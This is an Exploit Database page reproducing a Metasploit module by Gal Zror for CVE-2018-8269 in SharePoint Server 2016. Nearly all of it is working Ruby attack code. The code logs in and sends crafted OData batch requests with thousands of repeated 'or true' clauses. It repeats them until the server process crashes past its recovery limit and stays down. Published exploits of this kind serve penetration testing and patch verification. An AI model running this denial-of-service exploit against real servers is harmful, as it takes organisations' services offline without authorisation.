Microsoft Office SharePoint Server 2016 – Denial of Service (Metasploit)

• Exploit Database
• 19 阅读

• 作者： Gal Zror
  日期： 2019-01-09
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/46101/

• ##
  # This module requires Metasploit: https://metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  require 'sharepoint-ruby'
  
  class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::Tcp
  include Msf::Auxiliary::Dos
  include Msf::Exploit::Remote::HttpClient
  
  
  def initialize(info = {})
  super(update_info(info,
  'Name'=> 'DOS Vulnerability in SharePoint 2016 Server',
  'Description'=> %q{
  A vulnerability in Microsoft SharePoint Server could allow a remote attacker to make the server unavailable.
  The vulnerability is a result of the dependency SharePoint has in Microsoft.Data.OData library which was 
  vulnerable to remote DOS (See CVE-2018-8269). The exploit is done by sending a crafted request that contains
  an OData filter that triggers the vulnerability in Microsoft.Data.OData library. Sending such request, will
  terminate the process that runs the server. By default, SharePoint server is configured to recover a
  terminated process, but it will do so only 10 times. If more than 10 malicious requests are sent in 5
  minutes interval, the server will not recover and will be down until it is manually restarted.
  },
  'Author' =>
  [
  'Gil Mirmovitch', # Vulnerability discover and poc
  'Gal Zror'# Metasploit module
  ],
  'Platform'=> 'win',
  'References' =>
  [
  [ 'CVE', '2018-8269' ],
  [ 'ALEPH', '2018002' ]
  ],
  'Targets' =>
  [
  [ 'Microsoft Office SharePoint Server 2016', { } ],
  ],
  
  ))
  
  register_options(
  [
  Opt::RPORT(443),
  OptString.new('SSL',[true, 'Negotiate SSL/TLS for outgoing connections', true]),
  OptString.new('USERNAME',[true, 'The username to login with']),
  OptString.new('PASSWORD',[true, 'The password to login with']),
  OptString.new('VHOST',[true, 'HTTP server virtual host'])
  ], self.class)
  
  end
  
  def fetch_auth_cookie
  print_status("Fetching Authentication Cookie")
  begin
  site = Sharepoint::Site.new vhost, 'server-relative-site-url'
  site.session.authenticate datastore['USERNAME'], datastore['PASSWORD']
  return site.session.cookie
  rescue Sharepoint::Session::AuthenticationFailed
  fail_with(Failure::NoAccess, "Authentication failed")
  end
  print_good("Authentication Succeeded")
  end
  
  def extract_digest_value(cookie)
  token_api_uri = '/_api/contextinfo'
  res = send_request_cgi( {
  'method' => 'POST',
  'uri' => normalize_uri(token_api_uri),
  'cookie' => cookie,
  })
  if res.nil?
  fail_with(Failure::UnexpectedReply, "Empty context response")
  end
  res.get_xml_document.xpath('//d:FormDigestValue').text
  end
  
  def send_dos_request
  send_request(6100)
  end
  
  def send_innocent_request
  send_request(5)
  end
  
  def send_request(reps)
  vuln_api_uri = "/_api/$batch"
  cookie = datastore['COOKIE']
  
  data = Rex::MIME::Message.new
  data.add_part(
  "GET /_api/web/lists?$filter=true" + "+or+true" * reps + " HTTP/1.1\r\n" +
  "accept: application/json;odata.metadata=minimal\r\n", #Data is our payload
  'application/http', #Content Type
  'binary', #Transfer Encoding
  nil #Content Disposition
  )
  send_request_cgi({
   'method' => 'POST',
   'uri'=> normalize_uri(vuln_api_uri),
   'ctype'=> "multipart/mixed; boundary=#{data.bound}",
   'data' => data.to_s,
   'cookie' => cookie,
   'headers'=> {
   'x-requestdigest'	=> extract_digest_value(cookie),
   }
  
   })
  end
  
  def dos
  print_status("Sending DOS malicious requests...")
  (0..10).each {|i|
  print_status("Countdown #{10 - i}...")
  send_dos_request
  sleep(60)
  }
  
  end
  
  def check
  datastore['COOKIE'] = fetch_auth_cookie
  
  print_status("Sending innocent request...")
  res = send_innocent_request
  
  if res && res.code == 200
  print_good("Server responded 200 to innocent request")
  else
  print_bad("Server response " + res.code.to_s + " to innocent request")
  return Exploit::CheckCode::Unknown
  end
  
  print_status("Sending malicious request...")
  res = send_dos_request
  
  if res.nil?
  Exploit::CheckCode::Vulnerable
  else
  print_bad("Server response " + res.code.to_s + " to malicious request")
  Exploit::CheckCode::Safe
  end
  end
  
  def run
  if check == Exploit::CheckCode::Vulnerable
  dos
  end
  end
  end